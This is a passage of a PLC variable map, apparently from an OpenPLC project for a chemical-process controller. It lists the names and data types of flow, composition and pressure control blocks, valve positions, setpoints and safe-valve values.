+48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; 